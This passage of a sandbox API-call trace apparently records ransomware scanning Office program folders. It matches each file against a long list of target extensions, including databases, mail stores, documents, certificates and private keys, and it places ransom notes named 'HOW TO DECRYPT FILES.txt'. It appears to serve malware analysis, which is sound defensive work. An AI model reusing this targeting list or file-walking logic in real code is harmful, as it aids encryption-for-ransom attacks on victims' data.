Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\SplashImageMask.bmp", pszSpec="*.mbox") returned 0 [0065.562] lstrlenA (lpString="*.mbox") returned 6 [0065.562] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\SplashImageMask.bmp", pszSpec="*.eml") returned 0 [0065.562] lstrlenA (lpString="*.eml") returned 5 [0065.562] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\SplashImageMask.bmp", pszSpec="*.pst") returned 0 [0065.562] lstrlenA (lpString="*.pst") returned 5 [0065.563] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\SplashImageMask.bmp", pszSpec="*.ost") returned 0 [0065.563] lstrlenA (lpString="*.ost") returned 5 [0065.563] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\SplashImageMask.bmp", pszSpec="*.idx") returned 0 [0065.563] lstrlenA (lpString="*.idx") returned 5 [0065.563] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\SplashImageMask.bmp", pszSpec="*.dbx") returned 0 [0065.563] lstrlenA (lpString="*.dbx") returned 5 [0065.563] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\SplashImageMask.bmp", pszSpec="*.sql") returned 0 [0065.563] lstrlenA (lpString="*.sql") returned 5 [0065.563] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\SplashImageMask.bmp", pszSpec="*.mdb") returned 0 [0065.563] lstrlenA (lpString="*.mdb") returned 5 [0065.563] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\SplashImageMask.bmp", pszSpec="*.fdb") returned 0 [0065.563] lstrlenA (lpString="*.fdb") returned 5 [0065.563] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\SplashImageMask.bmp", pszSpec="*.wab") returned 0 [0065.563] lstrlenA (lpString="*.wab") returned 5 [0065.563] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\SplashImageMask.bmp", pszSpec="*.dat") returned 0 [0065.563] lstrlenA (lpString="*.dat") returned 5 [0065.563] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\SplashImageMask.bmp", pszSpec="*.txt") returned 0 [0065.563] lstrlenA (lpString="*.txt") returned 5 [0065.563] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\SplashImageMask.bmp", pszSpec="*.jpeg") returned 0 [0065.563] lstrlenA (lpString="*.jpeg") returned 6 [0065.563] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\SplashImageMask.bmp", pszSpec="*.jpg") returned 0 [0065.564] lstrlenA (lpString="*.jpg") returned 5 [0065.564] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\SplashImageMask.bmp", pszSpec="*.png") returned 0 [0065.564] lstrlenA (lpString="*.png") returned 5 [0065.564] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\SplashImageMask.bmp", pszSpec="*.php") returned 0 [0065.564] lstrlenA (lpString="*.php") returned 5 [0065.564] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\SplashImageMask.bmp", pszSpec="*.cs") returned 0 [0065.564] lstrlenA (lpString="*.cs") returned 4 [0065.564] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\SplashImageMask.bmp", pszSpec="*.cpp") returned 0 [0065.564] lstrlenA (lpString="*.cpp") returned 5 [0065.564] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\SplashImageMask.bmp", pszSpec="*.rar") returned 0 [0065.564] lstrlenA (lpString="*.rar") returned 5 [0065.564] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\SplashImageMask.bmp", pszSpec="*.zip") returned 0 [0065.564] lstrlenA (lpString="*.zip") returned 5 [0065.564] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\SplashImageMask.bmp", pszSpec="*.html") returned 0 [0065.564] lstrlenA (lpString="*.html") returned 6 [0065.564] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\SplashImageMask.bmp", pszSpec="*.htm") returned 0 [0065.564] lstrlenA (lpString="*.htm") returned 5 [0065.564] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\SplashImageMask.bmp", pszSpec="*.xlsx") returned 0 [0065.564] lstrlenA (lpString="*.xlsx") returned 6 [0065.564] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\SplashImageMask.bmp", pszSpec="*.xls") returned 0 [0065.564] lstrlenA (lpString="*.xls") returned 5 [0065.564] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\SplashImageMask.bmp", pszSpec="*.mp4") returned 0 [0065.564] lstrlenA (lpString="*.mp4") returned 5 [0065.565] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\SplashImageMask.bmp", pszSpec="*.ppt") returned 0 [0065.565] lstrlenA (lpString="*.ppt") returned 5 [0065.565] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\SplashImageMask.bmp", pszSpec="*.pptx") returned 0 [0065.565] lstrlenA (lpString="*.pptx") returned 6 [0065.565] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\SplashImageMask.bmp", pszSpec="*.doc") returned 0 [0065.565] lstrlenA (lpString="*.doc") returned 5 [0065.565] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\SplashImageMask.bmp", pszSpec="*.dot") returned 0 [0065.565] lstrlenA (lpString="*.dot") returned 5 [0065.565] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\SplashImageMask.bmp", pszSpec="*.docx") returned 0 [0065.565] lstrlenA (lpString="*.docx") returned 6 [0065.565] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\SplashImageMask.bmp", pszSpec="*.7z") returned 0 [0065.565] lstrlenA (lpString="*.7z") returned 4 [0065.565] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\SplashImageMask.bmp", pszSpec="*.tar") returned 0 [0065.565] lstrlenA (lpString="*.tar") returned 5 [0065.565] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\SplashImageMask.bmp", pszSpec="*.bz2") returned 0 [0065.565] lstrlenA (lpString="*.bz2") returned 5 [0065.565] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\SplashImageMask.bmp", pszSpec="*.gz") returned 0 [0065.565] lstrlenA (lpString="*.gz") returned 4 [0065.565] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\SplashImageMask.bmp", pszSpec="*.mkv") returned 0 [0065.565] lstrlenA (lpString="*.mkv") returned 5 [0065.565] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\SplashImageMask.bmp", pszSpec="*.eml") returned 0 [0065.565] lstrlenA (lpString="*.eml") returned 5 [0065.565] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\SplashImageMask.bmp", pszSpec="*.msg") returned 0 [0065.565] lstrlenA (lpString="*.msg") returned 5 [0065.566] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\SplashImageMask.bmp", pszSpec="*.edb") returned 0 [0065.566] lstrlenA (lpString="*.edb") returned 5 [0065.566] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\SplashImageMask.bmp", pszSpec="*.accdb") returned 0 [0065.566] lstrlenA (lpString="*.accdb") returned 7 [0065.566] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\SplashImageMask.bmp", pszSpec="*.odb") returned 0 [0065.566] lstrlenA (lpString="*.odb") returned 5 [0065.566] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\SplashImageMask.bmp", pszSpec="*.java") returned 0 [0065.566] lstrlenA (lpString="*.java") returned 6 [0065.566] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\SplashImageMask.bmp", pszSpec="*.asm") returned 0 [0065.566] lstrlenA (lpString="*.asm") returned 5 [0065.566] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\SplashImageMask.bmp", pszSpec="*.pfx") returned 0 [0065.566] lstrlenA (lpString="*.pfx") returned 5 [0065.566] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\SplashImageMask.bmp", pszSpec="*.pem") returned 0 [0065.566] lstrlenA (lpString="*.pem") returned 5 [0065.566] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\SplashImageMask.bmp", pszSpec="*.p12") returned 0 [0065.566] lstrlenA (lpString="*.p12") returned 5 [0065.566] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\SplashImageMask.bmp", pszSpec="*.gpg") returned 0 [0065.566] lstrlenA (lpString="*.gpg") returned 5 [0065.566] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\SplashImageMask.bmp", pszSpec="*.vsd") returned 0 [0065.566] lstrlenA (lpString="*.vsd") returned 5 [0065.566] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\SplashImageMask.bmp", pszSpec="*.odg") returned 0 [0065.566] lstrlenA (lpString="*.odg") returned 5 [0065.567] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\SplashImageMask.bmp", pszSpec="*.raw") returned 0 [0065.567] lstrlenA (lpString="*.raw") returned 5 [0065.567] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\SplashImageMask.bmp", pszSpec="*.nef") returned 0 [0065.567] lstrlenA (lpString="*.nef") returned 5 [0065.567] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\SplashImageMask.bmp", pszSpec="*.svg") returned 0 [0065.567] lstrlenA (lpString="*.svg") returned 5 [0065.567] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\SplashImageMask.bmp", pszSpec="*.psd") returned 0 [0065.567] lstrlenA (lpString="*.psd") returned 5 [0065.567] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\SplashImageMask.bmp", pszSpec="*.vmx") returned 0 [0065.567] lstrlenA (lpString="*.vmx") returned 5 [0065.567] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\SplashImageMask.bmp", pszSpec="*.vmdk") returned 0 [0065.567] lstrlenA (lpString="*.vmdk") returned 6 [0065.567] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\SplashImageMask.bmp", pszSpec="*.vdi") returned 0 [0065.567] lstrlenA (lpString="*.vdi") returned 5 [0065.567] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\SplashImageMask.bmp", pszSpec="*.lay6") returned 0 [0065.567] lstrlenA (lpString="*.lay6") returned 6 [0065.567] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\SplashImageMask.bmp", pszSpec="*.mpeg") returned 0 [0065.567] lstrlenA (lpString="*.mpeg") returned 6 [0065.568] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\SplashImageMask.bmp", pszSpec="*.djvu") returned 0 [0065.568] lstrlenA (lpString="*.djvu") returned 6 [0065.568] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\SplashImageMask.bmp", pszSpec="*.tiff") returned 0 [0065.568] lstrlenA (lpString="*.tiff") returned 6 [0065.568] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\SplashImageMask.bmp", pszSpec="*.backup") returned 0 [0065.568] lstrlenA (lpString="*.backup") returned 8 [0065.568] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\SplashImageMask.bmp", pszSpec="*.pdf") returned 0 [0065.568] lstrlenA (lpString="*.pdf") returned 5 [0065.568] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\SplashImageMask.bmp", pszSpec="*.cert") returned 0 [0065.568] lstrlenA (lpString="*.cert") returned 6 [0065.568] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\SplashImageMask.bmp", pszSpec="*.docm") returned 0 [0065.568] lstrlenA (lpString="*.docm") returned 6 [0065.568] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\SplashImageMask.bmp", pszSpec="*.xlsm") returned 0 [0065.568] lstrlenA (lpString="*.xlsm") returned 6 [0065.568] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\SplashImageMask.bmp", pszSpec="*.dwg") returned 0 [0065.568] lstrlenA (lpString="*.dwg") returned 5 [0065.568] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\SplashImageMask.bmp", pszSpec="*.nd") returned 0 [0065.568] lstrlenA (lpString="*.nd") returned 4 [0065.568] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\SplashImageMask.bmp", pszSpec="*.tlg") returned 0 [0065.568] lstrlenA (lpString="*.tlg") returned 5 [0065.569] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\SplashImageMask.bmp", pszSpec="*.lgb") returned 0 [0065.569] lstrlenA (lpString="*.lgb") returned 5 [0065.569] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\SplashImageMask.bmp", pszSpec="*.mov") returned 0 [0065.569] lstrlenA (lpString="*.mov") returned 5 [0065.569] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\SplashImageMask.bmp", pszSpec="*.xdw") returned 0 [0065.569] lstrlenA (lpString="*.xdw") returned 5 [0065.569] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\SplashImageMask.bmp", pszSpec="*.ods") returned 0 [0065.569] lstrlenA (lpString="*.ods") returned 5 [0065.569] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\SplashImageMask.bmp", pszSpec="*.wav") returned 0 [0065.569] lstrlenA (lpString="*.wav") returned 5 [0065.569] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\SplashImageMask.bmp", pszSpec="*.mp3") returned 0 [0065.569] lstrlenA (lpString="*.mp3") returned 5 [0065.569] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\SplashImageMask.bmp", pszSpec="*.aiff") returned 0 [0065.569] lstrlenA (lpString="*.aiff") returned 6 [0065.569] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\SplashImageMask.bmp", pszSpec="*.flac") returned 0 [0065.569] lstrlenA (lpString="*.flac") returned 6 [0065.569] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\SplashImageMask.bmp", pszSpec="*.m4a") returned 0 [0065.569] lstrlenA (lpString="*.m4a") returned 5 [0065.570] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\SplashImageMask.bmp", pszSpec="*.csv") returned 0 [0065.570] lstrlenA (lpString="*.csv") returned 5 [0065.570] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb5b7f600, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5aca0270, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb5b7f600, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x122, dwReserved0=0x6f006f, dwReserved1=0x73006c, cFileName="TABMASK.BMP", cAlternateFileName="")) returned 1 [0065.570] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0065.570] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="TABMASK.BMP") returned -1 [0065.570] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="TABMASK.BMP") returned -1 [0065.570] lstrcmpiA (lpString1="", lpString2="TABMASK.BMP") returned -1 [0065.570] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\SplashImageMask.bmp") returned="SplashImageMask.bmp" [0065.570] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\" [0065.570] PathAddBackslashA (in: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\" | out: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\") returned="" [0065.570] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\HOW TO DECRYPT FILES.txt" [0065.570] GetFileAttributesA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveprojecttoolset\\how to decrypt files.txt")) returned 0x20 [0065.570] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\", lpString2="TABMASK.BMP" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\TABMASK.BMP") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\TABMASK.BMP" [0065.570] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\TABMASK.BMP", pszSpec="*.ems") returned 0 [0065.570] lstrlenA (lpString="*.ems") returned 5 [0065.571] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\TABMASK.BMP", pszSpec="*.db") returned 0 [0065.571] lstrlenA (lpString="*.db") returned 4 [0065.571] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\TABMASK.BMP", pszSpec="*.dbf") returned 0 [0065.571] lstrlenA (lpString="*.dbf") returned 5 [0065.571] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\TABMASK.BMP", pszSpec="*.myox") returned 0 [0065.571] lstrlenA (lpString="*.myox") returned 6 [0065.571] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\TABMASK.BMP", pszSpec="*.myo") returned 0 [0065.571] lstrlenA (lpString="*.myo") returned 5 [0065.571] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\TABMASK.BMP", pszSpec="*.qbw") returned 0 [0065.571] lstrlenA (lpString="*.qbw") returned 5 [0065.571] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\TABMASK.BMP", pszSpec="*.qbb") returned 0 [0065.571] lstrlenA (lpString="*.qbb") returned 5 [0065.571] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\TABMASK.BMP", pszSpec="*.qbm") returned 0 [0065.571] lstrlenA (lpString="*.qbm") returned 5 [0065.571] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\TABMASK.BMP", pszSpec="*.qbo") returned 0 [0065.571] lstrlenA (lpString="*.qbo") returned 5 [0065.571] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\TABMASK.BMP", pszSpec="*.qbx") returned 0 [0065.571] lstrlenA (lpString="*.qbx") returned 5 [0065.571] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\TABMASK.BMP", pszSpec="*.qba") returned 0 [0065.572] lstrlenA (lpString="*.qba") returned 5 [0065.572] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\TABMASK.BMP", pszSpec="*.qby") returned 0 [0065.572] lstrlenA (lpString="*.qby") returned 5 [0065.572] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\TABMASK.BMP", pszSpec="*.qbj") returned 0 [0065.572] lstrlenA (lpString="*.qbj") returned 5 [0065.572] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\TABMASK.BMP", pszSpec="*.ofx") returned 0 [0065.572] lstrlenA (lpString="*.ofx") returned 5 [0065.572] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\TABMASK.BMP", pszSpec="*.qif") returned 0 [0065.572] lstrlenA (lpString="*.qif") returned 5 [0065.572] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\TABMASK.BMP", pszSpec="*.mye") returned 0 [0065.572] lstrlenA (lpString="*.mye") returned 5 [0065.572] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\TABMASK.BMP", pszSpec="*.mbox") returned 0 [0065.572] lstrlenA (lpString="*.mbox") returned 6 [0065.572] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\TABMASK.BMP", pszSpec="*.eml") returned 0 [0065.572] lstrlenA (lpString="*.eml") returned 5 [0065.572] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\TABMASK.BMP", pszSpec="*.pst") returned 0 [0065.572] lstrlenA (lpString="*.pst") returned 5 [0065.572] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\TABMASK.BMP", pszSpec="*.ost") returned 0 [0065.573] lstrlenA (lpString="*.ost") returned 5 [0065.573] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\TABMASK.BMP", pszSpec="*.idx") returned 0 [0065.573] lstrlenA (lpString="*.idx") returned 5 [0065.573] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\TABMASK.BMP", pszSpec="*.dbx") returned 0 [0065.573] lstrlenA (lpString="*.dbx") returned 5 [0065.573] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\TABMASK.BMP", pszSpec="*.sql") returned 0 [0065.573] lstrlenA (lpString="*.sql") returned 5 [0065.573] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\TABMASK.BMP", pszSpec="*.mdb") returned 0 [0065.573] lstrlenA (lpString="*.mdb") returned 5 [0065.573] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\TABMASK.BMP", pszSpec="*.fdb") returned 0 [0065.573] lstrlenA (lpString="*.fdb") returned 5 [0065.573] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\TABMASK.BMP", pszSpec="*.wab") returned 0 [0065.573] lstrlenA (lpString="*.wab") returned 5 [0065.573] PathMatchSpecA 